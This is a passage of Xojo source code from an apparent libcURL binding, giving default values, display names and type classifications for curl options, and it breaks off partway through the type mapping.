Case PROXY_SSL_VERIFYHOST
Return 2
Case PROXY_SSL_VERIFYPEER
Return 1
Case PROXY_TLS13_CIPHERS
Return Nil
Case PROXY_TLSAUTH_PASSWORD
Return Nil
Case PROXY_TLSAUTH_TYPE
Return Nil
Case PROXY_TLSAUTH_USERNAME
Return Nil
Case PROXY_TRANSFER_MODE
Return 0
Case PUT
Return 0
Case QUOTE
Return Nil
Case RANDOM_FILE
Return Nil
Case RANGE
Return Nil
Case READDATA
Return Nil
Case READFUNCTION
Return Nil
Case REDIR_PROTOCOLS
Return libcURL.Protocols.HTTP Or libcURL.Protocols.HTTPS Or libcURL.Protocols.FTP Or libcURL.Protocols.FTPS
Case REFERER
Return Nil
Case REQUEST_TARGET
Return Nil
Case RESOLVE
Return Nil
Case RESOLVER_START_DATA
Return Nil
Case RESOLVER_START_FUNCTION
Return Nil
Case RESUME_FROM
Return 0
Case RESUME_FROM_LARGE
Return 0
Case RTSP_CLIENT_CSEQ
Return 0
Case RTSP_REQUEST
Return 0
Case RTSP_SERVER_CSEQ
Return 0
Case RTSP_SESSION_ID
Return Nil
Case RTSP_STREAM_URI
Return "'*'"
Case RTSP_TRANSPORT
Return Nil
Case SASL_AUTHZID
Return Nil
Case SASL_IR
Return 0
Case SEEKDATA
Return Nil
Case SEEKFUNCTION
Return Nil
Case SERVICE_NAME
Return Nil
Case SHARE
Return Nil
Case SOCKOPTDATA
Return Nil
Case SOCKOPTFUNCTION
Return Nil
Case SOCKS5_AUTH
Return CURLAUTH.BASIC
Case SOCKS5_GSSAPI_NEC
Return 0
Case SOCKS5_GSSAPI_SERVICE
Return Nil
Case SSH_AUTH_TYPES
Return 0
Case SSH_COMPRESSION
Return 0
Case SSH_HOST_PUBLIC_KEY_MD5
Return Nil
Case SSH_KEYDATA
Return Nil
Case SSH_KEYFUNCTION
Return Nil
Case SSH_KNOWNHOSTS
Return Nil
Case SSH_PRIVATE_KEYFILE
Return Nil
Case SSH_PUBLIC_KEYFILE
Return Nil
Case SSLCERT
Return Nil
Case SSLCERTTYPE
Return "PEM"
Case SSLCERT_BLOB
Return Nil
Case SSLENGINE
Return Nil
Case SSLENGINE_DEFAULT
Return 0
Case SSLKEY
Return Nil
Case SSLKEYTYPE
Return "PEM"
Case SSLKEY_BLOB
Return Nil
Case SSLVERSION
Return libcURL.SSLVersion.Default
Case SSL_CIPHER_LIST
Return Nil
Case SSL_CTX_DATA
Return Nil
Case SSL_CTX_FUNCTION
Return Nil
Case SSL_EC_CURVES
Return ""
Case SSL_ENABLE_ALPN
Return 1
Case SSL_ENABLE_NPN
Return 1
Case SSL_FALSESTART
Return 0
Case SSL_OPTIONS
Return 0
Case SSL_SESSIONID_CACHE
Return 1
Case SSL_VERIFYHOST
Return 2
Case SSL_VERIFYPEER
Return 1
Case SSL_VERIFYSTATUS
Return 0
Case STDERR
Return Nil
Case STREAM_DEPENDS
Return Nil
Case STREAM_DEPENDS_E
Return Nil
Case STREAM_WEIGHT
Return 16
Case SUPPRESS_CONNECT_HEADERS
Return 0
Case TCP_FASTOPEN
Return 0
Case TCP_KEEPALIVE
Return 0
Case TCP_KEEPIDLE
Return 60
Case TCP_KEEPINTVL
Return 60
Case TCP_NODELAY
Return 1
Case TELNETOPTIONS
Return Nil
Case TFTP_BLKSIZE
Return 512
Case TFTP_NO_OPTIONS
Return 0
Case TIMECONDITION
Return 0
Case TIMEOUT
Return 0
Case TIMEOUT_MS
Return 0
Case TIMEVALUE
Return 0
Case TIMEVALUE_LARGE
Return 0
Case TLS13_CIPHERS
Return Nil
Case TLSAUTH_PASSWORD
Return Nil
Case TLSAUTH_TYPE
Return Nil
Case TLSAUTH_USERNAME
Return Nil
Case TRAILERDATA
Return Nil
Case TRAILERFUNCTION
Return Nil
Case TRANSFERTEXT
Return 0
Case TRANSFER_ENCODING
Return 0
Case UNIX_SOCKET_PATH
Return 0
Case UNRESTRICTED_AUTH
Return 0
Case UPKEEP_INTERVAL_MS
Return 60000
Case UPLOAD
Return 0
Case UPLOAD_BUFFERSIZE
Return 65535
Case URL
Return Nil
Case USERAGENT
Return Nil
Case USERNAME
Return Nil
Case USERPWD
Return Nil
Case USE_SSL
Return libcURL.ConnectionType.NoSSL
Case VERBOSE
Return 0
Case WRITEDATA
Return Nil
Case WRITEFUNCTION
Return Nil
Case XFERINFODATA
Return Nil
Case XFERINFOFUNCTION
Return Nil
Case XOAUTH2_BEARER
Return Nil
End Select
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Shared Function GetOptionName(OptionID As Int32) As String
Select Case OptionID
Case ABSTRACT_UNIX_SOCKET
Return "ABSTRACT_UNIX_SOCKET"
Case ACCEPTTIMEOUT_MS
Return "ACCEPTTIMEOUT_MS"
Case ACCEPT_ENCODING
Return "ACCEPT_ENCODING"
Case ADDRESS_SCOPE
Return "ADDRESS_SCOPE"
Case ALTSVC
Return "ALTSVC"
Case ALTSVC_CTRL
Return "ALTSVC_CTRL"
Case APPEND
Return "APPEND"
Case AUTOREFERER
Return "AUTOREFERER"
Case AWS_SIGV4
Return "AWS_SIGV4"
Case BUFFERSIZE
Return "BUFFERSIZE"
Case CAINFO
Return "CAINFO"
Case CAPATH
Return "CAPATH"
Case CAINFO_BLOB
Return "CAINFO_BLOB"
Case CERTINFO
Return "CERTINFO"
Case CHUNK_BGN_FUNCTION
Return "CHUNK_BGN_FUNCTION"
Case CHUNK_DATA
Return "CHUNK_DATA"
Case CHUNK_END_FUNCTION
Return "CHUNK_END_FUNCTION"
Case CLOSESOCKETDATA
Return "CLOSESOCKETDATA"
Case CLOSESOCKETFUNCTION
Return "CLOSESOCKETFUNCTION"
Case CONNECTTIMEOUT
Return "CONNECTTIMEOUT"
Case CONNECTTIMEOUT_MS
Return "CONNECTTIMEOUT_MS"
Case CONNECT_ONLY
Return "CONNECT_ONLY"
Case CONNECT_TO
Return "CONNECT_TO"
Case CONV_FROM_NETWORK_FUNCTION
Return "CONV_FROM_NETWORK_FUNCTION"
Case CONV_FROM_UTF8_FUNCTION
Return "CONV_FROM_UTF8_FUNCTION"
Case CONV_TO_NETWORK_FUNCTION
Return "CONV_TO_NETWORK_FUNCTION"
Case COOKIE
Return "COOKIE"
Case COOKIEFILE
Return "COOKIEFILE"
Case COOKIEJAR
Return "COOKIEJAR"
Case COOKIELIST
Return "COOKIELIST"
Case COOKIESESSION
Return "COOKIESESSION"
Case COPYPOSTFIELDS
Return "COPYPOSTFIELDS"
Case CRLF
Return "CRLF"
Case CRLFILE
Return "CRLFILE"
Case CURLU
Return "CURLU"
Case CUSTOMREQUEST
Return "CUSTOMREQUEST"
Case DEBUGDATA
Return "DEBUGDATA"
Case DEBUGFUNCTION
Return "DEBUGFUNCTION"
Case DEFAULT_PROTOCOL
Return "DEFAULT_PROTOCOL"
Case DIRLISTONLY
Return "DIRLISTONLY"
Case DISALLOW_USERNAME_IN_URL
Return "DISALLOW_USERNAME_IN_URL"
Case DNS_CACHE_TIMEOUT
Return "DNS_CACHE_TIMEOUT"
Case DNS_INTERFACE
Return "DNS_INTERFACE"
Case DNS_LOCAL_IP4
Return "DNS_LOCAL_IP4"
Case DNS_LOCAL_IP6
Return "DNS_LOCAL_IP6"
Case DNS_SERVERS
Return "DNS_SERVERS"
Case DNS_SHUFFLE_ADDRESSES
Return "DNS_SHUFFLE_ADDRESSES"
Case DNS_USE_GLOBAL_CACHE
Return "DNS_USE_GLOBAL_CACHE"
Case DOH_URL
Return "DOH_URL"
Case EGDSOCKET
Return "EGDSOCKET"
Case ERRORBUFFER
Return "ERRORBUFFER"
Case EXPECT_100_TIMEOUT_MS
Return "EXPECT_100_TIMEOUT_MS"
Case FAILONERROR
Return "FAILONERROR"
Case FILETIME
Return "FILETIME"
Case FNMATCH_DATA
Return "FNMATCH_DATA"
Case FNMATCH_FUNCTION
Return "FNMATCH_FUNCTION"
Case FOLLOWLOCATION
Return "FOLLOWLOCATION"
Case FORBID_REUSE
Return "FORBID_REUSE"
Case FRESH_CONNECT
Return "FRESH_CONNECT"
Case FTPPORT
Return "FTPPORT"
Case FTPSSLAUTH
Return "FTPSSLAUTH"
Case FTP_ACCOUNT
Return "FTP_ACCOUNT"
Case FTP_ALTERNATIVE_TO_USER
Return "FTP_ALTERNATIVE_TO_USER"
Case FTP_CREATE_MISSING_DIRS
Return "FTP_CREATE_MISSING_DIRS"
Case FTP_FILEMETHOD
Return "FTP_FILEMETHOD"
Case FTP_RESPONSE_TIMEOUT
Return "FTP_RESPONSE_TIMEOUT"
Case FTP_SKIP_PASV_IP
Return "FTP_SKIP_PASV_IP"
Case FTP_SSL_CCC
Return "FTP_SSL_CCC"
Case FTP_USE_EPRT
Return "FTP_USE_EPRT"
Case FTP_USE_EPSV
Return "FTP_USE_EPSV"
Case FTP_USE_PRET
Return "FTP_USE_PRET"
Case GSSAPI_DELEGATION
Return "GSSAPI_DELEGATION"
Case HAPPY_EYEBALLS_TIMEOUT_MS
Return "HAPPY_EYEBALLS_TIMEOUT_MS"
Case HAPROXYPROTOCOL
Return "HAPROXYPROTOCOL"
Case HEADER
Return "HEADER"
Case HEADERDATA
Return "HEADERDATA"
Case HEADERFUNCTION
Return "HEADERFUNCTION"
Case HEADEROPT
Return "HEADEROPT"
Case HTTP09_ALLOWED
Return "HTTP09_ALLOWED"
Case HTTP200ALIASES
Return "HTTP200ALIASES"
Case HTTPAUTH
Return "HTTPAUTH"
Case HTTPGET
Return "HTTPGET"
Case HTTPHEADER
Return "HTTPHEADER"
Case HTTPPOST
Return "HTTPPOST"
Case HTTPPROXYTUNNEL
Return "HTTPPROXYTUNNEL"
Case HTTPVERSION
Return "HTTPVERSION"
Case HTTP_CONTENT_DECODING
Return "HTTP_CONTENT_DECODING"
Case HTTP_TRANSFER_DECODING
Return "HTTP_TRANSFER_DECODING"
Case HTTP_VERSION
Return "HTTP_VERSION"
Case IGNORE_CONTENT_LENGTH
Return "IGNORE_CONTENT_LENGTH"
Case INFILESIZE
Return "INFILESIZE"
Case INFILESIZE_LARGE
Return "INFILESIZE_LARGE"
Case INTERLEAVEDATA
Return "INTERLEAVEDATA"
Case INTERLEAVEFUNCTION
Return "INTERLEAVEFUNCTION"
Case IOCTLDATA
Return "IOCTLDATA"
Case IOCTLFUNCTION
Return "IOCTLFUNCTION"
Case IPRESOLVE
Return "IPRESOLVE"
Case ISSUERCERT
Return "ISSUERCERT"
Case ISSUERCERT_BLOB
Return "ISSUERCERT_BLOB"
Case KEEP_SENDING_ON_ERROR
Return "KEEP_SENDING_ON_ERROR"
Case KEYPASSWD
Return "KEYPASSWD"
Case KRBLEVEL
Return "KRBLEVEL"
Case LOCALPORT
Return "LOCALPORT"
Case LOCALPORTRANGE
Return "LOCALPORTRANGE"
Case LOGIN_OPTIONS
Return "LOGIN_OPTIONS"
Case LOW_SPEED_LIMIT
Return "LOW_SPEED_LIMIT"
Case LOW_SPEED_TIME
Return "LOW_SPEED_TIME"
Case MAIL_AUTH
Return "MAIL_AUTH"
Case MAIL_FROM
Return "MAIL_FROM"
Case MAIL_RCPT
Return "MAIL_RCPT"
Case MAIL_RCPT_ALLLOWFAILS
Return "MAIL_RCPT_ALLLOWFAILS"
Case MAXAGE_CONN
Return "MAXAGE_CONN"
Case MAXCONNECTS
Return "MAXCONNECTS"
Case MAXFILESIZE
Return "MAXFILESIZE"
Case MAXFILESIZE_LARGE
Return "MAXFILESIZE_LARGE"
Case MAXREDIRS
Return "MAXREDIRS"
Case MAX_RECV_SPEED_LARGE
Return "MAX_RECV_SPEED_LARGE"
Case MAX_SEND_SPEED_LARGE
Return "MAX_SEND_SPEED_LARGE"
Case MIMEPOST
Return "MIMEPOST"
Case NETINTERFACE
Return "INTERFACE"
Case NETRC
Return "NETRC"
Case NETRC_FILE
Return "NETRC_FILE"
Case NEW_DIRECTORY_PERMS
Return "NEW_DIRECTORY_PERMS"
Case NEW_FILE_PERMS
Return "NEW_FILE_PERMS"
Case NOBODY
Return "NOBODY"
Case NOPROGRESS
Return "NOPROGRESS"
Case NOPROXY
Return "NOPROXY"
Case NOSIGNAL
Return "NOSIGNAL"
Case OPENSOCKETDATA
Return "OPENSOCKETDATA"
Case OPENSOCKETFUNCTION
Return "OPENSOCKETFUNCTION"
Case PASSWORD
Return "PASSWORD"
Case PATH_AS_IS
Return "PATH_AS_IS"
Case PINNEDPUBLICKEY
Return "PINNEDPUBLICKEY"
Case PIPELINING_SERVER_BL
Return "PIPELINING_SERVER_BL"
Case PIPELINING_SITE_BL
Return "PIPELINING_SITE_BL"
Case PIPEWAIT
Return "PIPEWAIT"
Case PORT
Return "PORT"
Case POST
Return "POST"
Case POSTFIELDS
Return "POSTFIELDS"
Case POSTFIELDSIZE
Return "POSTFIELDSIZE"
Case POSTFIELDSIZE_LARGE
Return "POSTFIELDSIZE_LARGE"
Case POSTQUOTE
Return "POSTQUOTE"
Case POSTREDIR
Return "POSTREDIR"
Case PREQUOTE
Return "PREQUOTE"
Case PRE_PROXY
Return "PRE_PROXY"
Case PRIVATE_
Return "PRIVATE_"
Case PROGRESSDATA
Return "XFERINFODATA"
Case PROGRESSFUNCTION
Return "XFERINFOFUNCTION"
Case PROTOCOLS
Return "PROTOCOLS"
Case PROXY
Return "PROXY"
Case PROXYAUTH
Return "PROXYAUTH"
Case PROXYHEADER
Return "PROXYHEADER"
Case PROXYPASSWORD
Return "PROXYPASSWORD"
Case PROXYPORT
Return "PROXYPORT"
Case PROXYTYPE
Return "PROXYTYPE"
Case PROXYUSERNAME
Return "PROXYUSERNAME"
Case PROXYUSERPWD
Return "PROXYUSERPWD"
Case PROXY_CAINFO
Return "PROXY_CAINFO"
Case PROXY_CAPATH
Return "PROXY_CAPATH"
Case PROXY_CRLFILE
Return "PROXY_CRLFILE"
Case PROXY_ISSUERCERT
Return "PROXY_ISSUERCERT"
Case PROXY_ISSUERCERT_BLOB
Return "PROXY_ISSUERCERT_BLOB"
Case PROXY_KEYPASSWD
Return "PROXY_KEYPASSWD"
Case PROXY_PINNEDPUBLICKEY
Return "PROXY_PINNEDPUBLICKEY"
Case PROXY_SERVICE_NAME
Return "PROXY_SERVICE_NAME"
Case PROXY_SSLCERT
Return "PROXY_SSLCERT"
Case PROXY_SSLCERTTYPE
Return "PROXY_SSLCERTTYPE"
Case PROXY_SSLCERT_BLOB
Return "PROXY_SSLCERT_BLOB"
Case PROXY_SSLKEY
Return "PROXY_SSLKEY"
Case PROXY_SSLKEYTYPE
Return "PROXY_SSLKEYTYPE"
Case PROXY_SSLKEY_BLOB
Return "PROXY_SSLKEY_BLOB"
Case PROXY_SSLVERSION
Return "PROXY_SSLVERSION"
Case PROXY_SSL_CIPHER_LIST
Return "PROXY_SSL_CIPHER_LIST"
Case PROXY_SSL_OPTIONS
Return "PROXY_SSL_OPTIONS"
Case PROXY_SSL_VERIFYHOST
Return "PROXY_SSL_VERIFYHOST"
Case PROXY_SSL_VERIFYPEER
Return "PROXY_SSL_VERIFYPEER"
Case PROXY_TLS13_CIPHERS
Return "PROXY_TLS13_CIPHERS"
Case PROXY_TLSAUTH_PASSWORD
Return "PROXY_TLSAUTH_PASSWORD"
Case PROXY_TLSAUTH_TYPE
Return "PROXY_TLSAUTH_TYPE"
Case PROXY_TLSAUTH_USERNAME
Return "PROXY_TLSAUTH_USERNAME"
Case PROXY_TRANSFER_MODE
Return "PROXY_TRANSFER_MODE"
Case PUT
Return "PUT"
Case QUOTE
Return "QUOTE"
Case RANDOM_FILE
Return "RANDOM_FILE"
Case RANGE
Return "RANGE"
Case READDATA
Return "READDATA"
Case READFUNCTION
Return "READFUNCTION"
Case REDIR_PROTOCOLS
Return "REDIR_PROTOCOLS"
Case REFERER
Return "REFERER"
Case REQUEST_TARGET
Return "REQUEST_TARGET"
Case RESOLVE
Return "RESOLVE"
Case RESOLVER_START_DATA
Return "RESOLVER_START_DATA"
Case RESOLVER_START_FUNCTION
Return "RESOLVER_START_FUNCTION"
Case RESUME_FROM
Return "RESUME_FROM"
Case RESUME_FROM_LARGE
Return "RESUME_FROM_LARGE"
Case RTSP_CLIENT_CSEQ
Return "RTSP_CLIENT_CSEQ"
Case RTSP_REQUEST
Return "RTSP_REQUEST"
Case RTSP_SERVER_CSEQ
Return "RTSP_SERVER_CSEQ"
Case RTSP_SESSION_ID
Return "RTSP_SESSION_ID"
Case RTSP_STREAM_URI
Return "RTSP_STREAM_URI"
Case RTSP_TRANSPORT
Return "RTSP_TRANSPORT"
Case SASL_AUTHZID
Return "SASL_AUTHZID"
Case SASL_IR
Return "SASL_IR"
Case SEEKDATA
Return "SEEKDATA"
Case SEEKFUNCTION
Return "SEEKFUNCTION"
Case SERVICE_NAME
Return "SERVICE_NAME"
Case SHARE
Return "SHARE"
Case SHOPT_LOCKFUNC
Return "SHOPT_LOCKFUNC"
Case SHOPT_UNLOCKFUNC
Return "SHOPT_UNLOCKFUNC"
Case SHOPT_USERDATA
Return "SHOPT_USERDATA"
Case SOCKOPTDATA
Return "SOCKOPTDATA"
Case SOCKOPTFUNCTION
Return "SOCKOPTFUNCTION"
Case SOCKS5_AUTH
Return "SOCKS5_AUTH"
Case SOCKS5_GSSAPI_NEC
Return "SOCKS5_GSSAPI_NEC"
Case SOCKS5_GSSAPI_SERVICE
Return "SOCKS5_GSSAPI_SERVICE"
Case SSH_AUTH_TYPES
Return "SSH_AUTH_TYPES"
Case SSH_COMPRESSION
Return "SSH_COMPRESSION"
Case SSH_HOST_PUBLIC_KEY_MD5
Return "SSH_HOST_PUBLIC_KEY_MD5"
Case SSH_KEYDATA
Return "SSH_KEYDATA"
Case SSH_KEYFUNCTION
Return "SSH_KEYFUNCTION"
Case SSH_KNOWNHOSTS
Return "SSH_KNOWNHOSTS"
Case SSH_PRIVATE_KEYFILE
Return "SSH_PRIVATE_KEYFILE"
Case SSH_PUBLIC_KEYFILE
Return "SSH_PUBLIC_KEYFILE"
Case SSLCERT
Return "SSLCERT"
Case SSLCERTTYPE
Return "SSLCERTTYPE"
Case SSLCERT_BLOB
Return "SSLCERT_BLOB"
Case SSLENGINE
Return "SSLENGINE"
Case SSLENGINE_DEFAULT
Return "SSLENGINE_DEFAULT"
Case SSLKEY
Return "SSLKEY"
Case SSLKEYTYPE
Return "SSLKEYTYPE"
Case SSLKEY_BLOB
Return "SSLKEY_BLOB"
Case SSLVERSION
Return "SSLVERSION"
Case SSL_CIPHER_LIST
Return "SSL_CIPHER_LIST"
Case SSL_CTX_DATA
Return "SSL_CTX_DATA"
Case SSL_CTX_FUNCTION
Return "SSL_CTX_FUNCTION"
Case SSL_EC_CURVES
Return "SSL_EC_CURVES"
Case SSL_ENABLE_ALPN
Return "SSL_ENABLE_ALPN"
Case SSL_ENABLE_NPN
Return "SSL_ENABLE_NPN"
Case SSL_FALSESTART
Return "SSL_FALSESTART"
Case SSL_OPTIONS
Return "SSL_OPTIONS"
Case SSL_SESSIONID_CACHE
Return "SSL_SESSIONID_CACHE"
Case SSL_VERIFYHOST
Return "SSL_VERIFYHOST"
Case SSL_VERIFYPEER
Return "SSL_VERIFYPEER"
Case SSL_VERIFYSTATUS
Return "SSL_VERIFYSTATUS"
Case STDERR
Return "STDERR"
Case STREAM_DEPENDS
Return "STREAM_DEPENDS"
Case STREAM_DEPENDS_E
Return "STREAM_DEPENDS_E"
Case STREAM_WEIGHT
Return "STREAM_WEIGHT"
Case SUPPRESS_CONNECT_HEADERS
Return "SUPPRESS_CONNECT_HEADERS"
Case TCP_FASTOPEN
Return "TCP_FASTOPEN"
Case TCP_KEEPALIVE
Return "TCP_KEEPALIVE"
Case TCP_KEEPIDLE
Return "TCP_KEEPIDLE"
Case TCP_KEEPINTVL
Return "TCP_KEEPINTVL"
Case TCP_NODELAY
Return "TCP_NODELAY"
Case TELNETOPTIONS
Return "TELNETOPTIONS"
Case TFTP_BLKSIZE
Return "TFTP_BLKSIZE"
Case TFTP_NO_OPTIONS
Return "TFTP_NO_OPTIONS"
Case TIMECONDITION
Return "TIMECONDITION"
Case TIMEOUT
Return "TIMEOUT"
Case TIMEOUT_MS
Return "TIMEOUT_MS"
Case TIMEVALUE
Return "TIMEVALUE"
Case TIMEVALUE_LARGE
Return "TIMEVALUE_LARGE"
Case TLS13_CIPHERS
Return "TLS13_CIPHERS"
Case TLSAUTH_PASSWORD
Return "TLSAUTH_PASSWORD"
Case TLSAUTH_TYPE
Return "TLSAUTH_TYPE"
Case TLSAUTH_USERNAME
Return "TLSAUTH_USERNAME"
Case TRAILERDATA
Return "TRAILERDATA"
Case TRAILERFUNCTION
Return "TRAILERFUNCTION"
Case TRANSFERTEXT
Return "TRANSFERTEXT"
Case TRANSFER_ENCODING
Return "TRANSFER_ENCODING"
Case UNIX_SOCKET_PATH
Return "UNIX_SOCKET_PATH"
Case UNRESTRICTED_AUTH
Return "UNRESTRICTED_AUTH"
Case UPKEEP_INTERVAL_MS
Return "UPKEEP_INTERVAL_MS"
Case UPLOAD
Return "UPLOAD"
Case UPLOAD_BUFFERSIZE
Return "UPLOAD_BUFFERSIZE"
Case URL
Return "URL"
Case USERAGENT
Return "USERAGENT"
Case USERNAME
Return "USERNAME"
Case USERPWD
Return "USERPWD"
Case USE_SSL
Return "USE_SSL"
Case VERBOSE
Return "VERBOSE"
Case WILDCARDMATCH
Return "WILDCARDMATCH"
Case WRITEDATA
Return "WRITEDATA"
Case WRITEFUNCTION
Return "WRITEFUNCTION"
Case XFERINFODATA
Return "XFERINFODATA"
Case XFERINFOFUNCTION
Return "XFERINFOFUNCTION"
Case XOAUTH2_BEARER
Return "XOAUTH2_BEARER"
End Select
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Shared Function GetOptionType(OptionID As Int32) As OptionType
Select Case OptionID
Case ABSTRACT_UNIX_SOCKET
Return OptionType.String
Case ACCEPTTIMEOUT_MS
Return OptionType.Number
Case ACCEPT_ENCODING
Return OptionType.String
Case ADDRESS_SCOPE
Return OptionType.Number
Case ALTSVC
Return OptionType.String
Case ALTSVC_CTRL
Return OptionType.Number
Case APPEND
Return OptionType.Number
Case AUTOREFERER
Return OptionType.Number
Case AWS_SIGV4
Return OptionType.String
Case BUFFERSIZE
Return OptionType.Number
Case CAINFO
Return OptionType.String
Case CAPATH
Return OptionType.String
Case CAINFO_BLOB
Return OptionType.Ptr
Case CERTINFO
Return OptionType.Number
Case CHUNK_BGN_FUNCTION
Return OptionType.Subroutine
Case CHUNK_DATA
Return OptionType.Opaque
Case CHUNK_END_FUNCTION
Return OptionType.Subroutine
Case CLOSESOCKETDATA
Return OptionType.Opaque
Case CLOSESOCKETFUNCTION
Return OptionType.Subroutine
Case CONNECTTIMEOUT
Return OptionType.Number
Case CONNECTTIMEOUT_MS
Return OptionType.Number
Case CONNECT_ONLY
Return OptionType.Number
Case CONNECT_TO
Return OptionType.List
Case CONV_FROM_NETWORK_FUNCTION
Return OptionType.Subroutine
Case CONV_FROM_UTF8_FUNCTION
Return OptionType.Subroutine
Case CONV_TO_NETWORK_FUNCTION
Return OptionType.Subroutine
Case COOKIE
Return OptionType.String
Case COOKIEFILE
Return OptionType.String
Case COOKIEJAR
Return OptionType.String
Case COOKIELIST
Return OptionType.String
Case COOKIESESSION
Return OptionType.Number
Case COPYPOSTFIELDS
Return OptionType.Ptr
Case CRLF
Return OptionType.Number
Case CRLFILE
Return OptionType.String
Case CURLU
Return OptionType.Ptr
Case CUSTOMREQUEST
Return OptionType.String
Case DEBUGDATA
Return OptionType.Opaque
Case DEBUGFUNCTION
Return OptionType.Subroutine
Case DEFAULT_PROTOCOL
Return OptionType.String
Case DIRLISTONLY
Return OptionType.Number
Case DISALLOW_USERNAME_IN_URL
Return OptionType.Number
Case DNS_CACHE_TIMEOUT
Return OptionType.Number
Case DNS_INTERFACE
Return OptionType.String
Case DNS_LOCAL_IP4
Return OptionType.String
Case DNS_LOCAL_IP6
Return OptionType.String
Case DNS_SERVERS
Return OptionType.String
Case DNS_SHUFFLE_ADDRESSES
Return OptionType.Number
Case DNS_USE_GLOBAL_CACHE
Return OptionType.Number
Case DOH_URL
Return OptionType.String
Case EGDSOCKET
Return OptionType.String
Case ACCEPT_ENCODING
Return OptionType.String
Case ERRORBUFFER
Return OptionType.Ptr
Case EXPECT_100_TIMEOUT_MS
Return OptionType.Number
Case FAILONERROR
Return OptionType.Number
Case WRITEDATA
Return OptionType.Opaque
Case FILETIME
Return OptionType.Number
Case FNMATCH_DATA
Return OptionType.Opaque
Case FNMATCH_FUNCTION
Return OptionType.Subroutine
Case FOLLOWLOCATION
Return OptionType.Number
Case FORBID_REUSE
Return OptionType.Number
Case FRESH_CONNECT
Return OptionType.Number
Case APPEND
Return OptionType.Number
Case DIRLISTONLY
Return OptionType.Number
Case FTPPORT
Return OptionType.String
Case FTPSSLAUTH
Return OptionType.Bitmask
Case FTP_ACCOUNT
Return OptionType.String
Case FTP_ALTERNATIVE_TO_USER
Return OptionType.String
Case FTP_CREATE_MISSING_DIRS
Return OptionType.Number
Case FTP_FILEMETHOD
Return OptionType.Bitmask
Case FTP_RESPONSE_TIMEOUT
Return OptionType.Number
Case FTP_SKIP_PASV_IP
Return OptionType.Number
Case USE_SSL
Return OptionType.Bitmask
Case FTP_SSL_CCC
Return OptionType.Number
Case FTP_USE_EPRT
Return OptionType.Number
Case FTP_USE_EPSV
Return OptionType.Number
Case FTP_USE_PRET
Return OptionType.Number
Case GSSAPI_DELEGATION
Return OptionType.Bitmask
Case HAPPY_EYEBALLS_TIMEOUT_MS
Return OptionType.Number
Case HAPROXYPROTOCOL
Return OptionType.Number
Case HEADER
Return OptionType.Number
Case HEADERDATA
Return OptionType.Opaque
Case HEADERFUNCTION
Return OptionType.Subroutine
Case HEADEROPT
Return OptionType.Bitmask
Case HTTP09_ALLOWED
Return OptionType.Number
Case HTTP200ALIASES
Return OptionType.List
Case HTTPAUTH
Return OptionType.Bitmask
Case HTTPGET
Return OptionType.Number
Case HTTPHEADER
Return OptionType.List
Case HTTPPOST
Return OptionType.Ptr
Case HTTPPROXYTUNNEL
Return OptionType.Number
Case HTTP_CONTENT_DECODING
Return OptionType.Number
Case HTTP_TRANSFER_DECODING
Return OptionType.Number
Case HTTP_VERSION
Return OptionType.Bitmask
Case IGNORE_CONTENT_LENGTH
Return OptionType.Number
Case READDATA
Return OptionType.Opaque
Case INFILESIZE
Return OptionType.Number
Case INFILESIZE_LARGE
Return OptionType.LargeNumber
Case NETINTERFACE
Return OptionType.String
Case INTERLEAVEDATA
Return OptionType.Opaque
Case INTERLEAVEFUNCTION
Return OptionType.Subroutine
Case IOCTLDATA
Return OptionType.Opaque
Case IOCTLFUNCTION
Return OptionType.Subroutine
Case IPRESOLVE
Return OptionType.Bitmask
Case ISSUERCERT
Return OptionType.String
Case ISSUERCERT_BLOB
Return OptionType.Blob
Case KEEP_SENDING_ON_ERROR
Return OptionType.Number
Case KEYPASSWD
Return OptionType.String
Case KRBLEVEL
Return OptionType.String
Case KRBLEVEL
Return OptionType.String
Case LOCALPORT
Return OptionType.Number
Case LOCALPORTRANGE
Return OptionType.Number
Case LOGIN_OPTIONS
Return OptionType.String
Case LOW_SPEED_LIMIT
Return OptionType.Number
Case LOW_SPEED_TIME
Return OptionType.Number
Case MAIL_AUTH
Return OptionType.String
Case MAIL_FROM
Return OptionType.String
Case MAIL_RCPT
Return OptionType.List
Case MAIL_RCPT_ALLLOWFAILS
Return OptionType.Number
Case MAXAGE_CONN
Return OptionType.Number
Case MAXCONNECTS
Return OptionType.Number
Case MAXFILESIZE
Return OptionType.Number
Case MAXFILESIZE_LARGE
Return OptionType.LargeNumber
Case MAXREDIRS
Return OptionType.Number
Case MAX_RECV_SPEED_LARGE
Return OptionType.LargeNumber
Case MAX_SEND_SPEED_LARGE
Return OptionType.LargeNumber
Case MIMEPOST
Return OptionType.Ptr
Case NETRC
Return OptionType.Bitmask
Case NETRC_FILE
Return OptionType.String
Case NEW_DIRECTORY_PERMS
Return OptionType.Number
Case NEW_FILE_PERMS
Return OptionType.Number
Case NOBODY
Return OptionType.Number
Case NOPROGRESS
Return OptionType.Number
Case NOPROXY
Return OptionType.String
Case NOSIGNAL
Return OptionType.Number
Case OPENSOCKETDATA
Return OptionType.Opaque
Case OPENSOCKETFUNCTION
Return OptionType.Subroutine
Case PASSWORD
Return OptionType.String
Case PATH_AS_IS
Return OptionType.Number
Case PINNEDPUBLICKEY
Return OptionType.String
Case PIPEWAIT
Return OptionType.Number
Case PORT
Return OptionType.Number
Case POST
Return OptionType.Number
Case POSTREDIR
Return OptionType.Bitmask
Case POSTFIELDS
Return OptionType.Ptr
Case POSTFIELDSIZE
Return OptionType.Number
Case POSTFIELDSIZE_LARGE
Return OptionType.LargeNumber
Case POSTQUOTE
Return OptionType.List
Case POSTREDIR
Return OptionType.Bitmask
Case PREQUOTE
Return OptionType.List
Case PRE_PROXY
Return OptionType.String
Case PRIVATE_
Return OptionType.Ptr
Case XFERINFODATA
Return OptionType.Opaque
Case PROGRESSFUNCTION
Return OptionType.Subroutine
Case PROTOCOLS
Return OptionType.Number
Case PROXY
Return OptionType.String
Case PROXYAUTH
Return OptionType.Bitmask
Case PROXYHEADER
Return OptionType.List
Case PROXYPASSWORD
Return OptionType.String
Case PROXYPORT
Return OptionType.Number
Case PROXYTYPE
Return OptionType.Bitmask
Case PROXYUSERNAME
Return OptionType.String
Case PROXYUSERPWD
Return OptionType.String
Case PROXY_CAINFO
Return OptionType.String
Case PROXY_CAPATH
Return OptionType.String
Case PROXY_CRLFILE
Return OptionType.String
Case PROXY_ISSUERCERT
Return OptionType.String
Case PROXY_ISSUERCERT_BLOB
Return OptionType.Blob
Case PROXY_KEYPASSWD
Return OptionType.String
Case PROXY_PINNEDPUBLICKEY
